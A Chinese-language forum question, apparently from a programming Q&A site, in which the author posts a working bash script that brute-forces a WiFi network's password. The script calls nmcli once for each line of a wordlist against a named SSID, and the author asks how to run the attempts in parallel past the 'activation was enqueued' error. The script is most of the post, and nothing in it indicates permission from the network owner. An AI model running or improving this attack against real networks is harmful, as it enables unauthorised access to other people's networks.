我最近发现我们可以使用 nmcli 直接从命令行界面 (CLI) 建立与 WiFi 网络的连接。这让我想知道我们是否可以利用它来开发一个暴力脚本。提供的代码片段举例说明了我想要完成的典型过程。
connect_to_wifi() {
local ssid="$1"
local password="$2"
echo -e "\e[92mTrying Password: $password\e[0m"
# Establish connection to WiFi network using nmcli
sudo nmcli device wifi connect "$ssid" password "$password" > /dev/null 2>&1
# Check connection status
if [ $? -eq 0 ]; then
echo ""
echo -e "\e[33mSuccessfully connected to $ssid with password $password\e[0m"
exit 0
else
return 1
fi
}
bruteforce_wifi() {
local ssid="$1"
local password_file="$2"
# Verify if SSID is provided
if [ -z "$ssid" ]; then
echo "Error: SSID is empty."
exit 1
fi
# Use default password file if not specified
password_file="${password_file:-pass.txt}"
# Check existence of file
if [ ! -f "$password_file" ]; then
echo "Error: File $password_file not found."
exit 1
fi
# Read passwords from file and attempt WiFi connection
while IFS= read -r password; do
connect_to_wifi "$ssid" "$password"
done < "$password_file"
}
该bruteforce_wifi
功能现在可以对所需的 SSID 发起暴力攻击,例如bruteforce_wifi Denbroadband pass.txt
.此命令成功执行,并按顺序一一尝试每个密码。
但是,在尝试实现线程时遇到问题:
sudo nmcli device wifi connect Denbroadband password 238112120 & # '&' is used to place it in the background
sudo nmcli device wifi connect Denbroadband password 329814298
第二个命令的输出指出:Error: Connection activation failed: New connection activation was enqueued.
我很想探索解决此问题的潜在解决方法。此外,如果有人质疑为什么不捕获握手并稍后通过暴力攻击破解它,值得注意的是,我的好奇心在于了解传统的暴力方法在不依赖握手的 WiFi 网络上是否可行。